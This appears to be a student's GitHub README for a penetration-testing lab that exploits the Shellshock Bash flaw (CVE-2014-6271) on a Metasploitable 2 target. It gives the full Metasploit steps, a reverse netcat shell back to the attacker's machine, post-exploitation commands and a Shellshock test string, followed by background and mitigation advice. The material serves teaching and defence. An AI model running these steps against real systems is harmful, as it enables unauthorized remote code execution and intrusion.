rajmadhusankha/shellshock-cve-2014-6271-exploitation-and-analysisEducational lab demonstrating Shellshock (CVE-2014-6271) exploitation using Metasploit against Metasploitable 2, including scanning, exploitation, reverse shell, and mitigation strategies.
This is the practical assignment for Vulnerability Assessment and Penetration Testing – II, focusing on the exploitation and analysis of the Shellshock vulnerability (CVE-2014-6271).
Conducted in a controlled lab environment using Metasploitable 2 (target) and Kali Linux (attacker).
nmap -sS -sV <target-ip>
2️⃣ Start Metasploit
msfconsole
3️⃣ Load Exploit Module
use exploit/multi/http/apache_mod_cgi_bash_env_exec
4️⃣ Configure Exploit
set RHOST <target-ip>
set TARGETURI /cgi-bin/status
set LHOST <your-kali-ip>
set PAYLOAD cmd/unix/reverse_netcat
5️⃣ Run Exploit
exploit
📸 Demonstration Includes
📡 Nmap scan results
⚙️ Metasploit configuration
🔄 Reverse shell session output
🛠 Post-exploitation commands:
whoami
uname -a
ifconfig
📖 Theoretical Background What is Shellshock?
Shellshock is a vulnerability in the GNU Bash shell that allows attackers to execute arbitrary commands by injecting them into environment variables. Discovered in September 2014 and assigned CVE-2014-6271, it affects Bash v1.14 to v4.3. How It Works
Bash incorrectly processes function definitions in environment variables and executes extra commands after the function body. In web servers using CGI scripts, HTTP headers become environment variables, creating an easy attack path.
Example:
env x='() { :;}; echo vulnerable' bash -c "echo test"
If vulnerable, it prints vulnerable. Impact
Full Remote Code Execution (RCE) without authentication
Exploitable via simple HTTP requests
Used in botnets, worms, targeted attacks
Affected millions of servers, routers, and IoT devices
Real-World Exploits
Yahoo Servers – Malware via CGI scripts
Wopbot Botnet – Automated exploitation
QNAP NAS – Remote shell access & malware
Self-Replicating Worms – Spread to new vulnerable hosts
🛡 Prevention & Mitigation
🔄 Update Bash immediately
🚫 Disable unused CGI scripts
🔥 Use firewalls to block unnecessary traffic
🛡 Deploy Web Application Firewalls (WAF)
📜 Monitor HTTP request logs
👤 Apply Least Privilege principles
⚠️ Disclaimer
This project is for educational purposes only. All testing was in a controlled lab environment. ❌ Do NOT use these techniques on systems without permission.
👨💻 Author: Janith Madhusankha 🎓 Course: BICT (Hons) in Network & Security 🏫 Institution: South Eastern University of Sri Lanka